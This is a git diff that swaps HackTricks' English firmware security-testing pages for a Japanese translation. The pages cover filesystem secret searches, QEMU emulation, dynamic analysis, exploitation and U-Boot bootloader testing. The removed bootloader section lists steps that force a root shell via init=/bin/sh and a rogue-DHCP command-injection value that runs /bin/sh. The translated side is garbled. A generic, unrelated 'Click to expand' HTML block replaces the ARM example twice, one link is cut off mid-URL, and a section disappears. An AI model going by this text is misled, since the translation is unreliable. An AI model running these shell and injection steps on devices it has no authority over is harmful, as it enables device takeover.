-* search for common command injection vulnerable functions -* search for URLs, email addresses and IP addresses -* and more… +* etc/shadowとetc/passwd +* etc/sslディレクトリの一覧 +* .pem、.crtなどのSSL関連ファイルの検索 +* 設定ファイルの検索 +* スクリプトファイルの検索 +* 他の.binファイルの検索 +* admin、password、remote、AWSキーなどのキーワードの検索 +* IoTデバイスで使用される一般的なWebサーバーの検索 +* ssh、tftp、dropbearなどの一般的なバイナリの検索 +* 禁止されたC関数の検索 +* 一般的なコマンドインジェクションの脆弱な関数の検索 +* URL、メールアドレス、IPアドレスの検索 +* その他... -Tools that search for this kind of information (even if you always should take a manual look and get comfortable with the filesystem structure, the tools can help you finding **hidden things**): +この種の情報を検索するツール(常に手動でファイルシステムの構造を確認し、ツールを使用して**隠されたもの**を見つけることができます): -* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng)**:** Awesome bash script that in this case is useful for searching **sensitive information** inside the filesystem. Just **chroot inside the firmware filesystem and run it**. -* [**Firmwalker**](https://github.com/craigz28/firmwalker)**:** Bash script to search for potential sensitive information +* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng)**:** ファイルシステム内の**機密情報**を検索するために便利な素晴らしいbashスクリプトです。ファームウェアファイルシステムに**chroot**して実行します。 +* [**Firmwalker**](https://github.com/craigz28/firmwalker)**:** 潜在的な機密情報を検索するためのbashスクリプト * [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core): - * Identification of software components such as operating system, CPU architecture, and third-party components along with their associated version information - * Extraction of firmware filesystem (s ) from images - * Detection of certificates and private keys - * Detection of weak implementations mapping to Common Weakness Enumeration (CWE) - * Feed & signature-based detection of vulnerabilities - * Basic static behavioral analysis - * Comparison (diff) of firmware versions and files - * User mode emulation of filesystem binaries using QEMU - * Detection of binary mitigations such as NX, DEP, ASLR, stack canaries, RELRO, and FORTIFY\_SOURCE - * REST API - * and more... -* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer): FwAnalyzer is a tool to analyze (ext2/3/4), FAT/VFat, SquashFS, UBIFS filesystem images, cpio archives, and directory content using a set of configurable rules. -* [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep): A Free Software IoT Firmware Security Analysis Tool -* [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go): This is a complete rewrite of the original ByteSweep project in Go. -* [**EMBA**](https://github.com/e-m-b-a/emba): _EMBA_ is designed as the central firmware analysis tool for penetration testers. It supports the complete security analysis process starting with the _firmware extraction_ process, doing _static analysis_ and _dynamic analysis_ via emulation and finally generating a report. _EMBA_ automatically discovers possible weak spots and vulnerabilities in firmware. Examples are insecure binaries, old and outdated software components, potentially vulnerable scripts or hard-coded passwords. +* オペレーティングシステム、CPUアーキテクチャ、サードパーティのコンポーネントなどのソフトウェアコンポーネントの識別と関連するバージョン情報 +* イメージからのファームウェアファイルシステム(s)の抽出 +* 証明書と秘密鍵の検出 +* Common Weakness Enumeration(CWE)にマッピングされる弱い実装の検出 +* 脆弱性のフィードと署名に基づく検出 +* 基本的な静的行動分析 +* ファームウェアバージョンとファイルの比較(diff) +* QEMUを使用したファイルシステムバイナリのユーザーモードエミュレーション +* NX、DEP、ASLR、スタックキャナリー、RELRO、FORTIFY\_SOURCEなどのバイナリの防御機能の検出 +* REST API +* その他... +* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer): FwAnalyzerは、設定可能なルールセットを使用して、(ext2/3/4)、FAT/VFat、SquashFS、UBIFSファイルシステムイメージ、cpioアーカイブ、およびディレクトリコンテンツを分析するツールです。 +* [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep): 無料のIoTファームウェアセキュリティ分析ツール +* [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go): これは、元のByteSweepプロジェクトをGoで完全に書き直したものです。 +* [**EMBA**](https://github.com/e-m-b-a/emba): _EMBA_は、ペネトレーションテスター向けの中央ファームウェア分析ツールとして設計されています。_EMBA_は、ファームウェアの抽出プロセスから始まり、静的分析、エミュレーションを介した動的分析、最終的にはレポートの生成まで、セキュリティ分析プロセス全体をサポートします。_EMBA_は、ファームウェア内の可能な脆弱性や弱点を自動的に検出します。例としては、セキュリティの脆弱性のあるバイナリ、古くて非推奨のソフトウェアコンポーネント、潜在的に脆弱なスクリプトやハードコードされたパスワードなどがあります。 {% hint style="warning" %} -Inside the filesystem you can also find **source code** of programs (that you should always **check**), but also **compiled binaries**. These programs might be somehow exposed and you should **decompile** and **check** them for potential vulnerabilities. +ファイルシステム内にはプログラムの**ソースコード**(常に**確認**する必要があります)だけでなく、**コンパイルされたバイナリ**も含まれている場合があります。これらのプログラムは何らかの形で公開されている可能性があり、潜在的な脆弱性を**逆コンパイル**して**確認**する必要があります。 -Tools like [**checksec.sh**](https://github.com/slimm609/checksec.sh) can be useful to find unprotected binaries. For Windows binaries you could use [**PESecurity**](https://github.com/NetSPI/PESecurity). +[**checksec.sh**](https://github.com/slimm609/checksec.sh)のようなツールは、保護されていないバイナリを見つけるのに役立ちます。Windowsバイナリの場合は、[**PESecurity**](https://github.com/NetSPI/PESecurity)を使用できます。 {% endhint %} -## Emulating Firmware +## ファームウェアのエミュレーション -The idea to emulate the Firmware is to be able to perform a **dynamic analysis** of the device **running** or of a **single program**. +ファームウェアをエミュレートすることで、デバイスの**実行中**または**単一のプログラム**の**動的分析**を実行できます。 {% hint style="info" %} -At times, partial or full emulation **may not work due to a hardware or architecture dependencies**. If the architecture and endianness match a device owned such as a raspberry pie, the root filesystem or specific binary can be transferred to the device for further testing. This method also applies to pre built virtual machines using the same architecture and endianness as the target. +ハードウェアやアーキテクチャの依存関係により、一部または完全なエミュレーションが**動作しない場合**があります。アーキテクチャとエンディアンが一致する場合、ラズベリーパイなどの所有しているデバイスにファームウェアのルートファイルシステムまたは特定のバイナリを転送してさらなるテストを行うことができます。この方法は、ターゲットと同じアーキテクチャとエンディアンを使用する事前にビルドされた仮想マシンにも適用されます。 {% endhint %} -### Binary Emulation +### バイナリのエミュレーション -If you just want to emulate one program to search for vulnerabilities, you first need to identify its endianness and the CPU architecture for which it was compiled. - -#### MIPS example +脆弱性を検索するために単一のプログラムをエミュレートしたい場合は、まずそのエンディアンとコンパイルされたCPUアーキテクチャを特定する必要があります。 +#### MIPSの例 ```bash file ./squashfs-root/bin/busybox ./squashfs-root/bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped ``` - -Now you can **emulate** the busybox executable using **QEMU**. - +今、**QEMU**を使用してbusybox実行ファイルを**エミュレート**することができます。 ```bash - sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils +sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils ``` - -Because the executable **is** compiled for **MIPS** and follow the **big-endian** byte ordering, we’ll use QEMU’s **`qemu-mips`** emulator. To emulate **little-endian** executables, we would have to select the emulator with the `el` suffix(`qemu-mipsel`): - +実行可能ファイルは**MIPS**向けにコンパイルされており、**ビッグエンディアン**のバイト順序に従っているため、**`qemu-mips`**エミュレータを使用します。**リトルエンディアン**の実行可能ファイルをエミュレートする場合は、`el`サフィックスを持つエミュレータを選択する必要があります(`qemu-mipsel`)。 ```bash qemu-mips -L ./squashfs-root/ ./squashfs-root/bin/ls 100 100.7z 15A6D2.squashfs squashfs-root squashfs-root-0 ``` +#### ARMの例 -#### ARM Example +```html +
+Click to expand! -```bash -file bin/busybox -bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-armhf.so.1, no section header +##### Firmware Analysis + +- **Firmware Extraction**: The first step in firmware analysis is to extract the firmware from the target device. This can be done by using tools like `binwalk`, `firmware-mod-kit`, or by directly accessing the device's memory. + +- **Firmware Reverse Engineering**: Once the firmware is extracted, it can be reverse engineered to understand its inner workings. Tools like `IDA Pro`, `Ghidra`, or `Radare2` can be used for this purpose. + +- **Firmware Vulnerability Analysis**: After reverse engineering, the firmware can be analyzed for vulnerabilities. This involves identifying potential security flaws, such as buffer overflows, format string vulnerabilities, or hardcoded credentials. + +- **Firmware Patching**: If vulnerabilities are found, patches can be developed to fix them. These patches can be applied to the firmware to enhance its security. + +- **Firmware Emulation**: Emulating the firmware can help in understanding its behavior without running it on the actual device. Tools like `QEMU` or `Unicorn` can be used for firmware emulation. + +- **Firmware Debugging**: Debugging the firmware can provide insights into its execution flow and help in identifying vulnerabilities. Tools like `GDB` or `OllyDbg` can be used for firmware debugging. + +- **Firmware Exploitation**: Exploiting vulnerabilities in the firmware can lead to unauthorized access or control over the target device. Techniques like stack smashing, return-oriented programming (ROP), or code injection can be used for firmware exploitation. + +
``` -Emulation: +#### ARMの例 +```html +
+クリックして展開する! + +##### ファームウェア解析 + +- **ファームウェアの抽出**: ファームウェア解析の最初のステップは、対象デバイスからファームウェアを抽出することです。これは、`binwalk`、`firmware-mod-kit`などのツールを使用するか、デバイスのメモリに直接アクセスすることで行うことができます。 + +- **ファームウェアの逆アセンブリ**: ファームウェアが抽出されたら、その内部動作を理解するために逆アセンブリすることができます。この目的のために、`IDA Pro`、`Ghidra`、`Radare2`などのツールを使用することができます。 + +- **ファームウェアの脆弱性分析**: 逆アセンブリ後、ファームウェアは脆弱性の分析のために調査されます。これには、バッファオーバーフロー、フォーマット文字列の脆弱性、ハードコードされた認証情報などの潜在的なセキュリティ上の問題の特定が含まれます。 + +- **ファームウェアのパッチ適用**: 脆弱性が見つかった場合、それらを修正するためのパッチを開発することができます。これらのパッチは、ファームウェアに適用してセキュリティを強化することができます。 + +- **ファームウェアのエミュレーション**: ファームウェアのエミュレーションは、実際のデバイス上で実行せずにその動作を理解するのに役立ちます。`QEMU`や`Unicorn`などのツールを使用してファームウェアのエミュレーションを行うことができます。 + +- **ファームウェアのデバッグ**: ファームウェアのデバッグは、実行フローを分析し、脆弱性の特定に役立ちます。`GDB`や`OllyDbg`などのツールを使用してファームウェアのデバッグを行うことができます。 + +- **ファームウェアの攻撃**: ファームウェアの脆弱性を悪用することで、対象デバイスへの不正アクセスや制御を行うことができます。スタックスマッシング、リターンオリエンテッドプログラミング(ROP)、コードインジェクションなどの技術を使用してファームウェアの攻撃を行うことができます。 + +
+``` +```bash +file bin/busybox +bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-armhf.so.1, no section header +``` +エミュレーション: ```bash qemu-arm -L ./squashfs-root/ ./squashfs-root/bin/ls 1C00000.squashfs B80B6C C41DD6.xz squashfs-root squashfs-root-0 ``` +### フルシステムエミュレーション -### Full System Emulation - -There are several tools, based in **qemu** in general, that will allow you to emulate the complete firmware: +一部のツールは、一般的に**qemu**をベースにしており、完全なファームウェアをエミュレートすることができます。 * [**https://github.com/firmadyne/firmadyne**](https://github.com/firmadyne/firmadyne)**:** - * You need to install several things, configure postgres, then run the extractor.py script to extract the firmware, use the getArch.sh script to get the architecture. Then, use tar2db.py and makeImage.sh scripts to store information from the extracted image in the database and generate a QEMU image that we can emulate. The, use inferNetwork.sh script to get the network interfaces, and finally use the run.sh script, which is automatically created in the ./scratch/1/folder. +* ファームウェアを抽出するためにextractor.pyスクリプトを実行し、getArch.shスクリプトを使用してアーキテクチャを取得するために、いくつかのものをインストールし、postgresを設定する必要があります。次に、tar2db.pyおよびmakeImage.shスクリプトを使用して、抽出したイメージからの情報をデータベースに保存し、エミュレートできるQEMUイメージを生成します。次に、ネットワークインターフェースを取得するためにinferNetwork.shスクリプトを使用し、最後に./scratch/1/folderに自動的に作成されるrun.shスクリプトを使用します。 * [**https://github.com/attify/firmware-analysis-toolkit**](https://github.com/attify/firmware-analysis-toolkit)**:** - * This tool depends on firmadyne and automates the process of emulating the firmware using firmadynee. you need to configure `fat.config` before using it: `sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0` +* このツールはfirmadyneに依存しており、firmadyneを使用してファームウェアをエミュレートするプロセスを自動化します。使用する前に`fat.config`を設定する必要があります:`sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0` * [**https://github.com/therealsaumil/emux**](https://github.com/therealsaumil/emux) * [**https://github.com/getCUJO/MIPS-X**](https://github.com/getCUJO/MIPS-X) * [**https://github.com/qilingframework/qiling#qltool**](https://github.com/qilingframework/qiling#qltool) -## **Dynamic analysis** +## **動的解析** -In this stage you should have either a device running the firmware to attack or the firmware being emulated to attack. In any case, it's highly recommended that you also have **a shell in the OS and filesystem that is running**. +この段階では、攻撃対象のファームウェアを実行しているデバイスまたはエミュレートされたファームウェアを攻撃するために、**実行中のOSとファイルシステムにシェルがあることが強く推奨されます**。 -Note that some times if you are emulating the firmware **some activities inside the emulation will fail** and you might need to restart emulating it. For example, a web application might need to get information from a device the original device is integrated with but the emulation is not emulating. +ファームウェアをエミュレートしている場合、**エミュレーション内の一部のアクティビティが失敗する**ことがあり、エミュレーションを再起動する必要があるかもしれません。たとえば、ウェブアプリケーションは、元のデバイスが統合されているデバイスから情報を取得する必要があるかもしれませんが、エミュレーションではそれをエミュレートしていません。 -You should **recheck the filesystem** as we already did in a **previous step as in the running env new information might be accessible.** +実行環境では、新しい情報にアクセスできる可能性があるため、**ファイルシステムを再確認する必要があります**。 -If **webpages** are exposed, reading the code and having access to them you should **test them**. In hacktricks you can find a lot of information about different web hacking techniques. +**ウェブページ**が公開されている場合、コードを読み、アクセスできるようになったら、それらを**テスト**する必要があります。hacktricksでは、さまざまなウェブハッキングテクニックに関する多くの情報を見つけることができます。 -If **network services** are exposed you should try to attack them. In hacktricks you can find a lot of information about different network services hacking techniques. You could also try to fuzz them with network and protocol **fuzzers** such as [Mutiny](https://github.com/Cisco-Talos/mutiny-fuzzer), [boofuzz](https://github.com/jtpereyda/boofuzz), and [kitty](https://github.com/cisco-sas/kitty). +**ネットワークサービス**が公開されている場合、それらを攻撃しようとする必要があります。hacktricksでは、さまざまなネットワークサービスのハッキングテクニックに関する多くの情報を見つけることができます。また、[Mutiny](https://github.com/Cisco-Talos/mutiny-fuzzer)、[boofuzz](https://github.com/jtpereyda/boofuzz)、および[kitty](https://github.com/cisco-sas/kitty)などのネットワークおよびプロトコルのファジングツールを使用して、それらをファズすることもできます。 -You should check if you can **attack the bootloader** to get a root shell: +ブートローダを攻撃してルートシェルを取得できるかどうかを確認する必要があります: {% content-ref url="bootloader-testing.md" %} [bootloader-testing.md](bootloader-testing.md) {% endcontent-ref %} -You should test if the device is doing any kind of **firmware integrity tests**, if not this would allow attackers to offer backdored firmwares, install them in devices other people owns or even deploy them remotely if there is any firmware update vulnerability: +デバイスがいかなる種類の**ファームウェア整合性テスト**を行っているかをテストする必要があります。そうでない場合、攻撃者はバックドア付きのファームウェアを提供したり、他の人が所有するデバイスにそれをインストールしたり、ファームウェアの更新に脆弱性がある場合はリモートで展開したりすることができます: {% content-ref url="firmware-integrity.md" %} [firmware-integrity.md](firmware-integrity.md) {% endcontent-ref %} -Firmware update vulnerabilities usually occurs because, the **integrity** of the **firmware** might **not** be **validated**, use **unencrypted** **network** protocols, use of **hardcoded** **credentials**, an **insecure authentication** to the cloud component that hosts the firmware, and even excessive and insecure **logging** (sensitive data), allow **physical updates** without verifications. +ファームウェアの更新の脆弱性は、ファームウェアの**整合性**が**検証されない**、**暗号化されていない** **ネットワーク**プロトコルの使用、**ハードコードされた** **資格情報**の使用、クラウドコンポーネントへの**安全でない認証**、および過剰で安全でない**ロギング**(機密データ)などが原因です。また、検証なしで**物理的な更新**を許可します。 -## **Runtime analysis** +## **ランタイム解析** -Runtime analysis involves attaching to a running process or binary while a device is running in its normal or emulated environment. Basic runtime analysis steps are provided below: +ランタイム解析では、デバイスが通常の環境またはエミュレートされた環境で実行されている間に、実行中のプロセスまたはバイナリにアタッチします。基本的なランタイム解析の手順は以下の通りです: 1. `sudo chroot . ./qemu-arch -L -g ` -2. Attach gdb-multiarch or use IDA to emulate the binary -3. Set breakpoints for functions identified during step 4 such as memcpy, strncpy, strcmp, etc. -4. Execute large payload strings to identify overflows or process crashes using a fuzzer -5. Move to step 8 if a vulnerability is identified +2. gdb-multiarchをアタッチするか、IDAを使用してバイナリをエミュレートします +3. memcpy、strncpy、strcmpなどのステップ4で特定された関数にブレークポイントを設定します。 +4. ファズツールを使用して、オーバーフローやプロセスのクラッシュを特定するために、大きなペイロード文字列を実行します。 +5. 脆弱性が特定された場合は、ステップ8に進んでください。 -Tools that may be helpful are (non-exhaustive): +役立つツール(非網羅的)は次のとおりです: * gdb-multiarch * [Peda](https://github.com/longld/peda) @@ -305,45 +337,38 @@ Tools that may be helpful are (non-exhaustive): * Binary Ninja * Hopper -## **Binary Exploitation** +## **バイナリの攻撃** -After identifying a vulnerability within a binary from previous steps, a proper proof-of-concept (PoC) is required to demonstrate the real-world impact and risk. Developing exploit code requires programming experience in lower level languages (e.g. ASM, C/C++, shellcode, etc.) as well as background within the particular target architecture (e.g. MIPS, ARM, x86 etc.). PoC code involves obtaining arbitrary execution on a device or application by controlling an instruction in memory. +前の手順でバイナリ内の脆弱性を特定した後、実世界の影響とリスクを示すために適切な概念実証(PoC)が必要です。エクスプロイトコードの開発には、低レベルの言語(ASM、C/C++、シェルコードなど)でのプログラミング経験と、特定のターゲットアーキテクチャ(MIPS、ARM、x86など)の背景が必要です。PoCコードは、メモリ内の命令を制御することによって、デバイスまたはアプリケーションで任意の実行を取得することを目的としています。 -It is not common for binary runtime protections (e.g. NX, DEP, ASLR, etc.) to be in place within embedded systems however when this happens, additional techniques may be required such as return oriented programming (ROP). ROP allows an attacker to implement arbitrary malicious functionality by chaining existing code in the target process/binary's code known as gadgets. Steps will need to be taken to exploit an identified vulnerability such as a buffer overflow by forming a ROP chain. A tool that can be useful for situations like these is Capstone's gadget finder or ROPGadget- [https://github.com/JonathanSalwan/ROPgadget](https://github.com/JonathanSalwan/ROPgadget). +組み込みシステムでは、バイナリのランタイム保護(NX、DEP、ASLRなど)が一般的には行われないことが一般的ですが、これが発生する場合、ROP(Return Oriented Programming)などの追加のテクニックが必要になる場合があります。ROPは、既存のコードを連鎖させることによって、ターゲットプロセス/バイナリのコード内に任意の悪意のある機能を実装することを攻撃者に可能にします。バッファオーバーフローなどの特定された脆弱性を悪用するためには、ROPチェーンを形成するための手順を踏む必要があります。このような状況に役立つツールとしては、CapstoneのガジェットファインダーやROPGadget- [https://github.com/JonathanSalwan/ROPgadget](https://github.com/JonathanSalwan/ROPgadget)があります。 -Utilize the following references for further guidance: +詳しいガイダンスについては、以下の参考文献を利用してください: -* [https://azeria-labs.com/writing-arm-shellcode/](https://azeria-labs.com/writing-arm-shellcode/) -* [https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/) +* [https://azeria-labs.com/writing-arm-shellcode/](https://azeria-labs.com/writing-arm +## 脆弱なファームウェアの練習 -## Prepared OSs to analyze Firmware - -* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is a distro intended to help you perform security assessment and penetration testing of Internet of Things (IoT) devices. It saves you a lot of time by providing a pre-configured environment with all the necessary tools loaded. -* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools. - -## Vulnerable firmware to practice - -To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point. +ファームウェアの脆弱性を発見するための練習として、以下の脆弱なファームウェアプロジェクトを利用してください。 * OWASP IoTGoat - * [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) +* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) * The Damn Vulnerable Router Firmware Project - * [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) +* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) * Damn Vulnerable ARM Router (DVAR) - * [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) +* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) * ARM-X - * [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) +* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) * Azeria Labs VM 2.0 - * [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) +* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) * Damn Vulnerable IoT Device (DVID) - * [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) +* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) -## References +## 参考文献 * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) * [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) -## Trainning and Cert +## トレーニングと認定 * [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) @@ -351,14 +376,14 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/physical-attacks/firmware-analysis/bootloader-testing.md b/physical-attacks/firmware-analysis/bootloader-testing.md index 75fda3779..4ad55164c 100644 --- a/physical-attacks/firmware-analysis/bootloader-testing.md +++ b/physical-attacks/firmware-analysis/bootloader-testing.md @@ -1,67 +1,46 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-Copied from [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) +[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)からコピー -When modifying device start up and bootloaders such as U-boot, attempt the following: - -* Attempt to access the bootloaders interpreter shell by pressing "0", space or other identified “magic codes” during boot. -* Modify configurations to execute a shell command such as adding '`init=/bin/sh`' at the end of boot arguments - * `#printenv` - * `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh` - * `#saveenv` - * `#boot` -* Setup a tftp server to load images over the network locally from your workstation. Ensure the device has network access. - * `#setenv ipaddr 192.168.2.2 #local IP of the device` - * `#setenv serverip 192.168.2.1 #tftp server IP` - * `#saveenv` - * `#reset` - * `#ping 192.168.2.1 #check if network access is available` - * `#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server` -* Use `ubootwrite.py` to write the uboot-image and push a modified firmware to gain root -* Check for enabled debug features such as: - * verbose logging - * loading arbitrary kernels - * booting from untrusted sources -* \*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to a data pin (DO) on an SPI flash chip -* \*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to pins 8 and 9 of the NAND flash chip at the moment U-boot decompresses the UBI image - * \*Review the NAND flash chip’s datasheet prior to shorting pins -* Configure a rogue DHCP server with malicious parameters as input for a device to ingest during a PXE boot - * Use Metasploit’s (MSF) DHCP auxiliary server and modify the ‘`FILENAME`’ parameter with command injection commands such as `‘a";/bin/sh;#’` to test input validation for device startup procedures. - -\*Hardware security testing - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
